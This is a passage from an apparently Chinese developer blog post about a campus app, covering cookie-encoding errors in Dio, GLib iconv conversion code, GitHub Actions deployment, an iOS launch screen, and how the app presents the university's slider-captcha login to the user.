解码库来返回数据。学校物理实验服务器都是返回的网页,所以这么写没啥问题。\u003c/p\u003e\n\u003cp\u003e(现在新版本的拦截器可以用异步办法了,但我不想改了)\u003c/p\u003e\n\u003ch3 id=\"关于-cookie-有中文字符\"\u003e关于 Cookie 有中文字符\u003c/h3\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/cfug/dio/issues/1959\" target=\"_blank\" rel=\"noopener\"\n \u003e我在 Dio 开发仓库提出的问题\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eCookie 的官方规范,是仅允许一部分 ASCII 码作为合法字符的,Dart 核心库的 Cookie 实现严格遵照这个规范。但是令我哭笑不得的是,咱学校物理实验服务器传回的 Cookie 包含中文字符,就是这个用户的名字。加上 GBK 导致的编码,最后的结果自然就是报错,扔出“错误编码异常”。\u003c/p\u003e\n\u003cp\u003e人官方严格按照标准,无可厚非。我为了这个玩意折腾了很长时间,直到最后,有个人告诉我,那个 Cookie 给服务器传任何值都可以,我无语了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"关于-iconv-转码的两三事\"\u003e关于 Iconv 转码的两三事\u003c/h3\u003e\n\u003cp\u003e这是搞 Windows 和 Linux 构建的副产品,针对\u003ccode\u003echarset_converter\u003c/code\u003e搞的新扩展。Pull-Request 链接\u003ca class=\"link\" href=\"https://github.com/pr0gramista/charset_converter/pull/38\" target=\"_blank\" rel=\"noopener\"\n \u003e在此\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e接下来说明\u003ccode\u003eIConv\u003c/code\u003e库,Unix 下面用来转码的库。实现很多,这里我使用的是 GTK 里面自带的 Iconv 库,因为 Flutter for Linux 使用的是 GTK,这样做能减少依赖。顺便,给 Flutter 写 Linux 原生代码有个注意点,好歹要对\u003ccode\u003eGLib\u003c/code\u003e这玩意有点了解。我之前速通过\u003ccode\u003eVala\u003c/code\u003e,所以不算过于陌生。\u003c/p\u003e\n\u003cp\u003e我主要利用了这些函数:\u003c/p\u003e\n\u003ch4 id=\"生成实例函数\"\u003e生成实例函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_iconv_open\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eto_codeset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003efrom_codeset\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e(\u003ccode\u003egchar\u003c/code\u003e 是 \u003ccode\u003eGLib\u003c/code\u003e 里面,对于 \u003ccode\u003echar\u003c/code\u003e 的别称)\u003c/p\u003e\n\u003cp\u003e传入的是两个字符串,要转成的字符编码\u003ccode\u003eto_codeset\u003c/code\u003e和源文本的字符编码\u003ccode\u003efrom_charset\u003c/code\u003e。返回的是一个\u003ccode\u003eGIConv\u003c/code\u003e转换器,或者,如果“打开转换器失败”(多数情况就是没找到编码),就返回\u003ccode\u003e(GIConv)-1 \u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e这个函数也可用于侦测编码集是否支持,代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egboolean\u003c/span\u003e \u003cspan class=\"n\"\u003eisAvaliable\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eiconv_cd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eg_iconv_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003efl_value_to_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echarsetName\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"编码解码函数\"\u003e编码解码函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_convert_with_iconv\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egssize\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e \u003cspan class=\"n\"\u003econverter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egsize\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes_read\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egsize\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes_written\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGError\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个是主要的解码函数,强制需要输入要解码的字符串\u003ccode\u003estr\u003c/code\u003e,字符串长度\u003ccode\u003elen\u003c/code\u003e,和转换器\u003ccode\u003econverter\u003c/code\u003e;不强制需要的是存储读取字符的地址\u003ccode\u003ebytes_read\u003c/code\u003e,存储写入字符数量的地址\u003ccode\u003ebytes_written\u003c/code\u003e,以及一个存储报错信息的地址\u003ccode\u003eerror\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e关于这里,想多说几句。\u003ccode\u003echarset_converter\u003c/code\u003e插件提供的接口本身没有提供待转换字符串的长度,这对其他原生平台没有问题,但对 Iconv 来说,有点要命。Iconv 接受的是一个用\u003ccode\u003e\\0\u003c/code\u003e结束的,正宗 C 语言字符串,但是 Flutter 传过来的时候没有。而 C 语言没有侦测内存大小的函数,我的 C 语言基本也快忘了,所以情况很离谱。如果我不知道字符串长度,而直接转换,基本上不是末尾多了一个字符,就是少了几个,甚至直接报错。我直接改这个插件 Dart 端的函数形参很不现实,最主要的是这插件不是我写的。所以最后,我只能在 Dart 端先给字符串加个末尾的\u003ccode\u003e\\0\u003c/code\u003e,然后传原生。\u003c/p\u003e\n\u003ch4 id=\"关闭实例函数\"\u003e关闭实例函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_iconv_close\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e \u003cspan class=\"n\"\u003econverter\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e传入要关闭的转换器\u003ccode\u003econverter\u003c/code\u003e,-1 失败,0 成功。\u003c/p\u003e\n\u003ch2 id=\"应用内信息的分发机制\"\u003e应用内信息的分发机制\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要)\u003c/p\u003e\n\u003cp\u003e借鉴了\u003ca class=\"link\" href=\"https://github.com/xeonds/xdu-planet\" target=\"_blank\" rel=\"noopener\"\n \u003e这个项目\u003c/a\u003e。接下来,根据我的“服务器”和借鉴项目的 Github Action 配置文件,我给大家做一个大致的部署过程讲解。\u003c/p\u003e\n\u003ch3 id=\"借鉴项目的-action\"\u003e借鉴项目的 Action\u003c/h3\u003e\n\u003cp\u003eGo 版本的 XDU Planet,本质上就是 RSS 处理转 json,然后用 gin 开服务器端口。这个项目使用 Github Action 来每小时更新,然后更新成一个 json 文件,最后搞到 Github Page。\u003c/p\u003e\n\u003cp\u003e这个项目有三个分支:主代码,配置文件,部署分支。发布流程大致如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e对代码进行构建,对于这个项目,就是构建 go 代码和 vue 代码。\u003c/li\u003e\n\u003cli\u003e使用 go 生成的可执行文件,生成 json 文件。\u003c/li\u003e\n\u003cli\u003e上传生成的网页和 json 到部署分支,然后在部署分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"我的通知服务器\"\u003e我的“通知服务器”\u003c/h3\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda_backend\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。核心技术就是用 \u003ca class=\"link\" href=\"https://github.com/johnkerl/miller\" target=\"_blank\" rel=\"noopener\"\n \u003eMiller\u003c/a\u003e 来将 csv 转换成 json,然后用 Github Action 推到 Page 服务。同样的,这个项目有两个分支:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003emain 分支:存储 csv 文件和 Github Action 配置文件。\u003c/li\u003e\n\u003cli\u003edepoly 分支:存储需要通过 Github Page 发布的 json 文件。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e发布流程和上面的差不多:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e将 csv 转换为 json 文件。\u003c/li\u003e\n\u003cli\u003e上传 json 到部署分支,然后在 depoly 分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于一点点-ios-开屏娘的事情\"\u003e关于一点点 iOS 开屏娘的事情\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要)\u003c/p\u003e\n\u003cp\u003e这个玩意主要用到了 XCode 的界面设计工具。长这样:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003eApple Store 上架需要程序有个开屏图,我于是找个人画个漫画。画家顺便画个手绘板的图标,风格对应了。\u003c/p\u003e\n\u003cp\u003e这个玩意我当时搞了接近一个下午才搞成,大部分时间在摸索这玩意到底咋用,小部分时间在看各个手机屏幕大小情况下的排版状况。最终我摸索出这样的排版:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e上面人脸下面图标,在一个中轴线上。\u003c/li\u003e\n\u003cli\u003e人脸大小写死,因为我不知道如何动态调整图片大小:P 图标比例写死 1:1。\u003c/li\u003e\n\u003cli\u003e人脸中心在 Y 轴中心上面(减去) 80px 处,图标在 Y 轴下面(加上) 200 像素处。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"某滑块验证码\"\u003e某滑块验证码\u003c/h2\u003e\n\u003cp\u003e以下简要介绍本次学校升级的滑块验证码工作原理,默认传的都是用的一个 cookie 。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e此处略去如何加密密码,算法没变。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e文字验证码不再需要,学校前端不再判断需要输入验证码与否。\u003ccode\u003ehttps://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/code\u003e 不在需要。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e滑块验证码需要先传递这个:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/openSliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003equeryParameters:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emillisecondsSinceEpoch\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e然后进入滑验证码页面,传输数据:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 往这个接口发送 get 请求,然后返回的数据是个 json ,有三个比较重要\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 背景图是 bigImage,滑块图是 smallImage,tagWidth 我这里暂时没用到.png\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// 滑块图的高度和 bigImage 大致是相同的。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprovider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/openSliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003equeryParameters:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emillisecondsSinceEpoch\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eoptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eheaders:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Cookie\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eSliderCaptchaClientProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;bigImage\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;smallImage\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;tagWidth\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e()),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einit\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eprovider\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e得到数据后,我程序的前端渲染一个滑块验证码窗口让用户滑,然后得到 offset。然后和写死的宽度给服务器传过去鉴权。成功的话退出滑块页面,进行登录,否则刷新滑块。如果用户未完成滑块就退出滑块页面会报错“动态验证码错误”。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ids.xidian.edu.cn/authserver/common/verifySliderCaptcha.htl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;canvasLength=\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esnapshot\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epuzzleWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026amp;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;moveLength=\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_sliderValue\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003esnapshot\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epuzzleWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etoInt\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eoptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eheaders:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Cookie\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHttpHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 